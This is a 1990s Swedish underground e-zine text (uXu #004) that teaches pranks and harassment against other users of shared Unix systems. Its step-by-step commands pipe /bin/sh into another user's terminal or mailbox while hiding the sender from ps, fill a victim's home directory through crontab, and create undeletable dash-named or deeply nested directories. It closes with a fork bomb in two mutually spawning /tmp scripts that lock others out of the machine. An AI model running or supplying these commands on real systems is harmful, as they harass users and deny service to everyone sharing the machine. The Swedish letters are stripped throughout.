Copy Link
Add to Bookmark
Report
UXU 004 - Elaka och Roliga Trix i Unix
### ###
### ###
### #### ### ### ### ####
### ### ##### ### ###
### ### ### ### ###
### ### ##### ### ###
########## ### ### ##########
### ###
### ###
Underground eXperts United
Presenterar...
Intressant Svenskt Stoff
[#004- Elaka och Roliga Trix i Unix ]
_____________________________________________________________________
----------------------------------
Elaka och Roliga Trix i Unix
----------------------------------
Den hr texten r enbart till fr njets skull, och jag uppmanar ingen att
anvnda ngra av de trix som finns beskrivna, men visst kan det vara skoj
med ett aprilskmt d och d? :-)
Obs! Texten r menad till personer som inte r s hemma med UNIX, men nd
skulle vilja lra sig ngra roliga trix att ta till ibland.
OK. Fr att brja med ngra simpla saker som har med crontab'en att gra..
(Fr er som inte ens vet vad en crontab r, men nd r i desperat behov
av att skaffa en, skriv ett brev till mig p te.x The Stash s ska jag
frklara vad det r. Om du inte vill skriva ett brev till mig kan du ju
alltid ta och sl upp crontab i frsta bsta UNIX-Manual.)
Om ni p jobbet/skolan te.x kr p en Sparc och har mjlighet att spela upp
en sampling eller liknande, gr en crontab som spelar upp samplingen te.x
var 10'nde minut eller liknande. Alltid irriterande fr den som sitter
vid datorn. Lmplig sampling kan te.x vara ett hundskall.
Om du p nt stt lyckats f chansen att anvnda en anvndare som du inte
alls tycker om eller vill spela ett spratt och som inte r s bekant med
UNIX, gr en crontab t honom som endast gr ett directory i hans home
te.x var 10'nde minut. Jag kan garantera att det kommer att bli jobbigt fr
honom/henne att radera alla diretorys vid varje inloggning..
---
Om du vill stra user'n kalle s kan du skriva in fljande rad:
$write kalle </bin/sh
Kalle kommer d att se en massa skrp p sin skrm.
Om du vill skydda dig frn sdana saker kan du skriva:
$mesg n
.. vilket dock har den lilla nackdelen att du inte heller kan skriva nt
heller, utan att gra en mesg y igen ...
Om kalle's tty-fil r skrivbar kan du helt enkelt skriva in fljande:
$cat /bin/sh >/dev/kalles_tty
Om du inte vill att kalle ska se att det r du som skickar filen genom ps
kommandot kan du skriva:
$cat </bin/sh >/dev/kalles_tty
(D visas bara cat p ps-listan)
En variant p det temat r att skriva ett brev till kalle, innehllande
/bin/sh. Detta kan ordnas genom att skriva fljande:
$mail -sEtt_subjekt kalle </bin/sh
Om du vill undvika att f en shell i mailet kan du kolla lngden p din
mail-fil, och eventuellt cat'a den och se vad den innehller. Detta
eftersom erfarenheter sger att det r lttare att avbryta en cat'ning n
i mail-programmet.
---
En annan simpel liten sak r att gra en fil som brjar med tecknet '-'
rm och mv kommer d att ta filnamnet som options...
Detta kan gras genom att skriva in fljande rad:
$cat /tmp/din_text >-Haha..
Filen kan dock raderas genom att skriva:
$rm ./-Haha..
.. men det kan du ju verlta t den utsatte att lista ut :) ..
---
Om du vill vara steget elakare kan du (om du fr skriva till ngn annans home)
skapa directorys unde varandra med lnga namn.
(Risken finns dock att shellen krashar pga att filnamnet blir fr lngt :)
Nr sedan stackars kalle, eller vem du nu har valt, ska radera alla de fina
directorys som du har gjort kommer ngt i denna vgen att intrffa:
$rm -r ditt_fina_directory_som_har_ett_vldigt_lngt_namn
rm: filename too long:
ditt_fina_directory_som_har_ett_vldigt_lngt_namn/ditt_fina_directory
_som_har_ett_vldigt_lngt_namn/ditt_fina_directory_som_har_ett_vldigt_l
ngt_namn/ditt_fina_directory_som_har_ett_vldigt_lngt_namn/ditt_fina_dire
ctory_som_har_ett_vldigt_lngt_namn/ditt_fina_directory_som_har_ett_vldig
ditt_fina_directory_som_har_ett_vldigt_lngt_namn/t_lngt_namn/ditt_fina_
directory_som_har_ett_vldigt_lngt_namn/ditt_fina_directory_som_har_ett_v
ldigt_lngt_namn/ditt_fina_directory_som_har_ett_vldigt_lngt_namn
$
Det som intrffar r helt enkelt att rm's buffer inte rymmer pathen till
directoryt, och drfr heller ej kan radera det...
Fr att ta bort denna typen av directorys mste man frst cd'a sig en bit
ner och sedan radera 'nerifrn och upp'
---
Om du vill gra dator'n lite svranvndlig, skriv d in fljande program:
Namn: /tmp/prog1
----START----START----START----START----START----START----START----
/tmp/prog2 &
ps -alx >/dev/null &
/tmp/prog1
----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
Namn: /tmp/prog2
----START----START----START----START----START----START----START----
/tmp/prog1 &
ps -alx >/dev/null &
/tmp/prog2
----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
Skriv sedan in fljande:
$chmod 777 /tmp/prog1
$chmod 777 /tmp/prog2
$/tmp/prog1 &
OK.. Du har nu ntt slutet av denna "eminanta" text, som inte gav s mycket.
Kom bara ihg att inte anvnda ngon av dessa sm saker, om du nu inte har
managern's tillstnd. Starta speciellt inte de sista programmen, eftersom det
kommer att frsvra fr andra att logga in, och frsvra fr de som redan r
ploggade att gra ngonting...
I fortsttningen kanske jag skriver nt om hur man 'kar sin access' p UNIX.
Visst vet jag att det finns massor av texter med det temat, men hur mnga av
dem r p svenska?
______________________________________________________________________________
uXu Av Rubicon uXu
______________________________________________________________________________